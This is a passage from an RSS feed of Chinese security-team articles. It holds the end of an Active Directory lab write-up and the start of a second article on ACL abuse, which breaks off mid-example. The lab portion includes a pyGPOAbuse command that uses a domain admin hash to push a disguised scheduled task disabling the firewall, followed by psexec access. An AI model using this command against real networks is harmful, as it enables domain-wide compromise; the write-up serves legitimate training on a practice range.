8px;letter-spacing:0.1em;color:#3f3f3f;">安装时有一个需要注意的地方，使用 pyGPOAbuse 的时候，python 需要大于 3.8，不然安装 msldap 的时候会产生错误。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.15462962962962962" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=925c5590&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd022Gog74ReCYsRd61rXIETKQIdkwqPMxYsAMZP5CcPpia0ViadkUzmh0Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里指定域管的账户，与对应的 ntlmhash，gpo_id，域控的地址。进行组策略的创建。需要注意的是此处的<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">GPO-id</code>为默认域 GPO 的组策略 id。默认的组策略主要有两个：一个是域控的策略(6AC1786C-016F-11D2-945F-00C04fB984F9)
一个是域机器的策略(31b2f340-016d-11d2-945f-00c04fb984f9)
这里因为目标机器是域机器，我们需要使用 31b2f340-016d-11d2-945f-00c04fb984f9 作为组策略 id。</p><pre style="text-align: left;line-height: 1.5;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;overflow-x: auto;border-radius: 8px;margin: 10px 8px;padding: 0!important;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgbicbVz8KYS6jibcojsOxyuZ0P7Iia0BBic4NKahfHCKPse13icW5W69iciav765f43b0YNia8Kib3rEibha5B/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#39;Operator Mono&#39;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: left;line-height: 1.75;font-family: Menlo, Operator Mono, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">python3 pygpoabuse.py ds.local/administrator -hashes :f1b7ec38edc8b8046053884234a9d01a -gpo-id &#34;31b2f340-016d-11d2-945f-00c04fb984f9&#34; -powershell -command &#34;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&#34; -taskname &#34;Completely Legit Task&#34; -description &#34;Dis is legit, pliz no delete&#34; -dc-ip 10.0.0.10 -v</code></pre><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">组策略添加成功</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.3724247226624406" title="null" data-type="png" data-w="631" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ed19a4f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0icaYFIibKBrugZ8AibwMKUSX4icf4kyXYlWRhaKGCKrZbU8Jbg2As9P9gw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">之后等待目标机器执行组策略，执行策略后防火墙会关闭。</p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">flag 获取</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">之后可以通过 psexec 明文密码的方式访问目标机器获取 flag。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.27685185185185185" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=fff2d10d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0MU1shyxL4mic9yaE0NHZoXWg4KI90LGhyicttW2Ed99kcTta6SRfcQWA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">总结</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">本环境在域渗透中属于基础知识，其中大多的技术点都是围绕
 ldap 展开，之后利用委派拿下机器，dump 域管 hash，下发 gpo 关闭目标防火墙，获取 flag。实际上对于获取 ldap 
信息之后的利用也远远不止上面提到的内容。师傅们也可以继续查询相关的内容。</p><p><br/></p><section data-v-b4e935ba=""><p><br/></p><section data-v-b4e935ba=""><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;margin-top: 0;">参考</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><a href="https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E6%99%AE%E9%80%9A%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E8%8E%B7%E5%BE%97DNS%E8%AE%B0%E5%BD%95" target="_blank">https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E6%99%AE%E9%80%9A%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E8%8E%B7%E5%BE%97DNS%E8%AE%B0%E5%BD%95</a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><a href="https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/" target="_blank">https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/</a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><a href="https://www.4hou.com/posts/K5MR" target="_blank">https://www.4hou.com/posts/K5MR</a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><a href="https://myzxcg.com/2021/09/%E5%9F%9F%E7%94%A8%E6%88%B7%E5%8F%A3%E4%BB%A4%E7%AD%96%E7%95%A5%E4%B8%8E%E6%9A%B4%E7%A0%B4/" target="_blank">https://myzxcg.com/2021/09/%E5%9F%9F%E7%94%A8%E6%88%B7%E5%8F%A3%E4%BB%A4%E7%AD%96%E7%95%A5%E4%B8%8E%E6%9A%B4%E7%A0%B4/</a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><a href="https://www.netspi.com/blog/technical/network-penetration-testing/5-ways-to-find-systems-running-domain-admin-processes/" target="_blank">https://www.netspi.com/blog/technical/network-penetration-testing/5-ways-to-find-systems-running-domain-admin-processes/</a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><a href="https://xz.aliyun.com/t/11555" target="_blank">https://xz.aliyun.com/t/11555</a><br/></p></section></section><section data-v-b4e935ba=""><p><br/></p><section data-v-b4e935ba=""><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;margin-top: 0;">环境获取</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">本挑战为xbitsplatform公开环境，师傅可以直接通过 <span style="text-align:left;line-height:1.75;color:#576b95;">www.xbitsplatform.com</span> 访问平台。同时环境中使用的工具，和ldap的相关笔记也会上传到知识星球。</p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">知识星球</h3><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="1.1893333333333334" title="null" data-type="png" data-w="750" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8d2fa552&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797PV88iarNPHiamdSp5cdWQ1bs5HVhiaicNz4JPID5H4LbJs2dsTcPibIbQicbv1FN1SM9ueQWVzMIqCsfw%2F640%3Fwx_fmt%3Dpng"/></figure><p><br/></p><section data-v-b4e935ba=""><p><br/></p><section data-v-b4e935ba=""><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;margin-top: 0;">团队其他文章</h3></section><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499459&amp;idx=1&amp;sn=c189797bfb783ea33012548aa6dcf2eb&amp;chksm=c0e89a91f79f1387792fb87841bcd9f9f34027e4628218a14e25279cfc7689cc5c8aa3d88785&amp;scene=21#wechat_redirect" textvalue="域渗透-一文了解lsass内存转储攻防技术" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="font-size: 15px;" data-linktype="2"><span style="font-size: 15px;">域渗透-一文了解lsass内存转储攻防技术</span></a></p></section><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500049&amp;idx=1&amp;sn=2e0c3b85dd99f25c1ffeecfd7b7d4990&amp;chksm=c0e8a543f79f2c554023cadbae3789d0929fe6787e1114ef569db3bce016b2d6a16e6ffa080d&amp;scene=21#wechat_redirect" textvalue="记一次团队内部的红蓝对抗-攻击篇" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="font-size: 15px;" data-linktype="2"><span style="font-size: 15px;">记一次团队内部的红蓝对抗-攻击篇</span></a></p><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499415&amp;idx=1&amp;sn=3a8ff9e5f4596f01255f9ef11b2cd425&amp;chksm=c0e89ac5f79f13d397fba963cdd2be8d934698033c183f2b5b993e98d18b51d10c9ddb53abda&amp;scene=21#wechat_redirect" textvalue="Java安全-记一次实战使用memoryshell" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="font-size: 15px;" data-linktype="2"><span style="font-size: 15px;">Java安全-记一次实战使用memoryshell</span></a><br/></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><br/></p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">了解更多关于xbitsplatform的信息：</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500069&amp;idx=1&amp;sn=5e06c7b98f9a90cc016e9125b3458e6b&amp;chksm=c0e8a577f79f2c6125ee8971cd2751e831bb7270e096e706a074cf559363d98c902ab3f59c9e&amp;scene=21#wechat_redirect" textvalue="xBitsPlatform使用说明" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">xBitsPlatform使用说明</a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499639&amp;idx=1&amp;sn=18afd245d529c8d74ac52a6cb62da68a&amp;chksm=c0e89b25f79f123389e8c3e781bd7f14a999ba3e731b8b1199d1161c1055d4f55bfad8155dcf&amp;scene=21#wechat_redirect" textvalue="xBitsPlatform公测版正式上线啦" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">xBitsPlatform公测版正式上线啦</a></p><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">加入内部讨论群</h2><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.8828947368421053" title="null" data-type="png" data-w="760" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5f867c62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797PV88iarNPHiamdSp5cdWQ1bFl13WjQ54xNpUlQmbYkKwsIO3CHyTz6tbNu8lfrXJ3d2XibfTjSJ17A%2F640%3Fwx_fmt%3Dpng"/></figure></section><p><br/></p></section><p><br/></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><br/></p></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500440">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=378a90e1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247500440%26idx%3D1%26sn%3D138b43f66e7e4107b5a957712620d884%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 12 May 2023 09:20:00 +0800</pubDate>
    </item>
    <item>
      <title>域渗透-How2PwnACLs</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500331&amp;idx=1&amp;sn=4f2661ed53573844425739960cad6817</link>
      <description>该挑战需要在已有一个域凭据的情况下，全程通过远程操作完成一些ACL滥用相关的利用。</description>
      <content:encoded><![CDATA[<p>
<span>7bits安全团队</span> <span>2023-04-21 09:20</span> <span style="display: inline-block;">江苏</span>
</p>

<p>该挑战需要在已有一个域凭据的情况下，全程通过远程操作完成一些ACL滥用相关的利用。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=37f4d726&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oIziaBGBzftpCaEWWdlJFFXbazBrDlk1lsoVphPHFwFtNGLIH3Qx6OvQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">序言</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">ACL在域里算比较复杂的知识，笔者原本熟悉程度也比较一般。但作为内网基础知识，还是有必要掌握的。以下是笔者学习的一些笔记并配套了对应的实战环境，目前环境作为私有挑战已上线xbitsplatform靶场平台。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">该挑战需要在已有一个域凭据的情况下，全程通过远程操作完成一些ACL滥用相关的利用。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4" style="display: block;margin: 0 auto;max-width: 100%;" data-w="775" src="https://wechat2rss.xlab.app/img-proxy/?k=680a7ac4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1ojB9YSgLGZX4M3F4MIh2jwnwIzQibF21O0q2W8XmsYkbUIGeEQmruFrg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">ACL概念</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">访问控制列表 (ACL) 是访问控制条目 (ACE) 的列表。ACL 中的每个 ACE 都标识一个受托者，并为该受托者指定允许、拒绝或审计的访问权限。安全对象的安全描述符可以包含两种类型的 ACL：DACL 和 SACL。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">使用ADSI edit连接域后，可以看到某个域Object的acl，如下图。列表中的每一条即为ACE。代表以用户bob为主体，描述哪些对象对bob有什么样的权限。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.712" style="display: block;margin: 0 auto;max-width: 100%;" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=bb6f9a44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1ofiaFetPNe90ibbWmwdCBQ2icRlcjlj0eeiaNyXH81GtFJXTicYQSZDne5HQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">具体打开一条ace，看到域管组对用户bob有一系列的权限：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6199596774193549" style="display: block;margin: 0 auto;max-width: 100%;" data-w="992" src="https://wechat2rss.xlab.app/img-proxy/?k=e61d98b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oosxibBvJ0axgZHE4lkObjkVOLTEfMeye9Lhx6mONn2uphJBibvgiarNBg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">如何查看ACL</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">刚才我们通过图形化界面查看了域对象的ACL，在渗透测试中往往使用命令行操作更加方便。我们将做个实验来比较几个工具的优劣:</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我们手动增加了用户Apache对bob的完全访问权限:</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.11" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=c2b52382&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oAkB8icENdibRtzsAxFYYfECibZTUJtqWGQYZzsFf1icw2760YR5JQC5InQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>Active Directory Module<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">安装：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">import-module ActiveDirectory<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">使用:</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">(Get-Acl -Path <span style="color: #D69D85;line-height: 